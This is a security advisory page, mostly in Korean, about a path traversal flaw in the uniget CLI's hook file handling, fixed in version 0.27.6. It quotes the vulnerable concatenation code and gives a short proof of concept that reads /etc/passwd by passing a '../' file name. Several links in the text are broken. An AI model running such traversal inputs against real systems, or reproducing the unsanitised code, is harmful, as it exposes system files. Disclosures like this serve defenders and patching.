MEDIUM

GHSA-m6jg-wr9m-cg2f

uniget CLI has Path Traversal in Hook Files - Directory Escape Vulnerability

빠른 조치

GHSA-m6jg-wr9m-cg2f — gitlab.com/uniget-org/cli: 아래 명령으로 수정 버전으로 올리세요.

go get gitlab.com/uniget-org/cli@v0.27.6

상세

### Summary Path Traversal vulnerability in hook filename handling allows attackers to access and manipulate arbitrary files outside the hooks directory via directory escape sequences like [passwd](vscode-file://vscode-app/app/extra/vscode/resources/app/out/vs/code/electron-browser/workbench/workbench.html).

**Details** File: [hooks.go](vscode-file://vscode-app/app/extra/vscode/resources/app/out/vs/code/electron-browser/workbench/workbench.html) `Lines 135-160` ``` hookFileName := args[0] // User input not validated hookFile = preInstallHooksDir + "/" + hookFileName // Direct concatenation ```

Hook filenames are concatenated directly without sanitizing ../ sequences, allowing directory traversal.

### PoC **Step 1:** Set cat as editor ``` export EDITOR="cat" ``` **Step 2:** Read /etc/passwd via path traversal

``` ./uniget hooks edit --type=pre-install "../../../../etc/passwd" ```

**Step 3:** Output shows file contents ``` root:x:0:0:root:/root:/bin/bash daemon:x:2:2:daemon:/sbin:/sbin/nologin [...] ```

이 버전이 영향받나요?

사용 중인 패키지 버전을 입력하면 즉시 평가합니다.

영향 패키지

Go / gitlab.com/uniget-org/cli

최초 영향 버전: 0 수정 버전: 0.27.6

수정 go get gitlab.com/uniget-org/cli@v0.27.6

상세

이 버전이 영향받나요?

영향 패키지

참고